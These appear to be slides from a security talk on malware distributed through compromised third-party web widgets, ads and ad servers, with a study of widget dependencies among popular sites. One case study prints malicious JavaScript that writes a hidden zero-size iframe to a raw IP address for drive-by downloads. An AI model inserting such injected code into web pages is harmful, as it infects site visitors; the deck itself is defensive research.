

# Malware Distribution Via Widgetization of the Web

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
[www.neildaswani.com](http://www.neildaswani.com)

CTO & Co-Founder

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# Websites Are Infected with Malware from Third-Party Widgets, Ads, Software



Widgets

Ads

User Generated Content

Third-Party Software

# “Structural” Vulnerabilities

A structural vulnerability is:

*a weakness in a web page that may allow an attacker to compromise the entire page as a result of the reliance of the page design on a page component, where the compromise of the component can result in compromise of the entire page.*

# Examples

```
<script> ... document.write(unescape("%3Cscript  
src="" + gaJsHost + "google-analytics.com/ga.js" ...  
</script>
```

```
<script type='text/javascript' src='jquery.js' ...
```

```
<iframe src="http://www.survey.com/?...%26query  
%3D%5Bterms%5D%26id%3D%5Bix%5D  
%26agent%3D%5Ble%3D2%26size%3D160x600,Z  
%3D160x600...
```

# Case Study: Compromised Widget

```
// xxxxxx tagging
XXXX.require('//secure-us.xxxxxxxxxxxxx.com/xxx.js', function () {
  var trac = nol_t({
    cid: 'xx-xxxxxxx',
    content: '0',
    server: 'secure-us'
  });
  trac.record().post();
});
```

Used for  
audience  
measurement

Over 19K  
Websites  
affected

```
function NolTracker(b,a){this.pvar=b;this.mergeFeatures(a)}function
nol_t(b,a){return new
NolTracker(b,a)}NolTracker.prototype.version="6.0.9";NolTracker.prototy
pe.scriptName=(function(){try{var
b=document.getElementsByTagName("script");var c=b[b.length-
1].getAttribute("src").match(/^[^\/]*$/)}catch(a){return c||"xxx.js"}})...
```

<http://94.75.210.6/measure/>



# Case Study: Compromised Widget

<http://secure-us.xxxxxxxxxxxxxxxxxx.com/xxxx.js>

Code snippet from this javascript file:

```
...  
function _rsEH(_rsE,_rsU,_rsL)  
{  
}  
document.write('<iframe width=0 height=0 src="http://95. 211.14.  
58/measure/"></iframe>');  
function rsCi()  
{  
    var _rsUA=navigator.appName+" "+navigator.appVersion;  
    var _rsRUA=navigator.userAgent;  
    var _rsWS=window.screen;  
    ....  
}
```

# Case Study: Compromised Widget

1) <http://www.xxxxxxxxxxxxxxxxxx.com>

2) [http://xxxxxxxxxxxxx.com/js/app/analytics/trackingTags\\_v1.1.js](http://xxxxxxxxxxxxx.com/js/app/analytics/trackingTags_v1.1.js)

// tagging

```
XXXXX.require('//secure-us.xxxxxxxxxxxxxxxxxxxxxxxxx.com/xxxxxx.js', function () {
```

```
  var trac = nol_t({
```

```
    cid: 'us-xxxxxxxxxxxxx',
```

```
  });
```

```
  trac.record().post();
```


```
});
```

3) <http://secure-us.xxxxxxxxxxxxxxxxxxxxxxxxx.com/xxxxxx.js>

4) <http://94.75.210.6/measure/>

**Drive-by-download**


# Case Study: Malvertising: Fake Advertiser







# Case Study: Malvertising: Compromise Legitimate Advertiser




# Case Study: Compromised Application

- Vulnerable, 3<sup>rd</sup> party ad server
- Due to external JavaScript snippet
- Normal behavior was to add IMG tags to page; image tags came from “zones” DB table
- Attackers injected malicious JS tags into zones table
- Injected JS tags used JVM vulns: CVE-2009-3867 and CVE-2010-0886
- Conducted drive-by-downloads

# Widgetized Web Graph

- Preliminary study – computed on home pages of Quantcast 1000 sites
- Emulated JavaScript and IFRAME widgets
- Nodes : distinct subdomains
- Edges : uses SCRIPT or IFRAME
- Exposes dependencies on most frequently used widgets on the web


# Widgetized Web Graph




# Widgetized Web Graph

- Nodes: 1923
- Edges: 2843
- Connected Components: 144

# Most sites use under 10 widgets




# Most sites use just a few of the “top 10” widgets






# “Core” Widgetized Web Graph



# “Core” Widgetized Web Graph



# Most Popular Widgets

- 300 [www.google-analytics.com](http://www.google-analytics.com)
- 120 [ad.doubleclick.net](http://ad.doubleclick.net)
- 105 [ajax.googleapis.com](http://ajax.googleapis.com)
- 90 [edge.quantserve.com](http://edge.quantserve.com)
- 84 [b.scorecardresearch.com](http://b.scorecardresearch.com)
- 81 [partner.googleadservices.com](http://partner.googleadservices.com)
- 62 [connect.facebook.net](http://connect.facebook.net)
- 39 [www.facebook.com](http://www.facebook.com)
- 38 [www.google.com](http://www.google.com)
- 35 [pubads.g.doubleclick.net](http://pubads.g.doubleclick.net)

# Most Popular Widgets

- Audience Measurement (Google Analytics, Quantcast, ScorecardResearch)
- Advertising (DoubleClick, Google AdSense)
- Google Ajax Widgets
- Facebook Widgets

# Take-aways

- Bad news: Compromise of just a few popular widgets can be used to turn most trafficked web sites on the Internet into distribution vehicles for malware
- Good news: Top widgets / properties do not have dependencies on each other

# Where to learn more

- Dasient Home Page / Blog / Twitter:  
<http://www.dasient.com>  
<http://blog.dasient.com>  
<http://twitter.com/dasient>
- Neil's Home Page:  
<http://www.neildaswani.com>
- Stanford Security Certification Program:  
<http://bit.ly/90zR1y>



# Where to learn more



Foundations of Security:  
What Every Programmer To Know  
by Neil Daswani, Christoph Kern, and  
Anita Kesavan (ISBN 1590597842)

Book web site:

<http://www.learnsecurity.com/ntk>

Free slides at:

<http://code.google.com/edu/security>



# We're hiring!

Anti-malware engineer

Software engineer

Malware researcher

Product marketing manager



[careers@dasient.com](mailto:careers@dasient.com)

